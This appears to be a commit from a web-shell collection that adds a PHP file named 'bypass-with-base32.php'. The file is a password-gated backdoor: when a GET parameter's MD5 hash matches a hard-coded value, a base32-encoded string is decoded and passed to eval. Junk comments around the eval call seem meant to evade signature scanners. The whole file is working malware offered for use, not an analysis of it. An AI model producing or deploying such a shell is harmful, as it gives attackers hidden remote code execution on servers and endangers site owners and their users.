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Create bypass-with-base32.php

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tennc 2021-01-04 21:50:18 +08:00 committed by GitHub
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commit b59b949389
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<?php
class ZQIH{
public $a = null;
public $b = null;
public $c = null;
function __construct(){
if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
$this->a = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
$this->LGZOJH = @base32_decode($this->a);
@eval/*sopupi3240-=*/("/*iSAC[FH*/".$this->LGZOJH."/*iSAC[FH*/");
}}}
new ZQIH();
function base32_encode($input) {
$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
$output = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($input); $i < $j; $i++) {
$v <<= 8;
$v += ord($input[$i]);
$vbits += 8;
while ($vbits >= 5) {
$vbits -= 5;
$output .= $BASE32_ALPHABET[$v >> $vbits];
$v &= ((1 << $vbits) - 1);
}
}
if ($vbits > 0) {
$v <<= (5 - $vbits);
$output .= $BASE32_ALPHABET[$v];
}
return $output;
}
function base32_decode($input) {
$output = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($input); $i < $j; $i++) {
$v <<= 5;
if ($input[$i] >= 'a' && $input[$i] <= 'z') {
$v += (ord($input[$i]) - 97);
} elseif ($input[$i] >= '2' && $input[$i] <= '7') {
$v += (24 + $input[$i]);
} else {
exit(1);
}
$vbits += 5;
while ($vbits >= 8) {
$vbits -= 8;
$output .= chr($v >> $vbits);
$v &= ((1 << $vbits) - 1);
}
}
return $output;
}
?>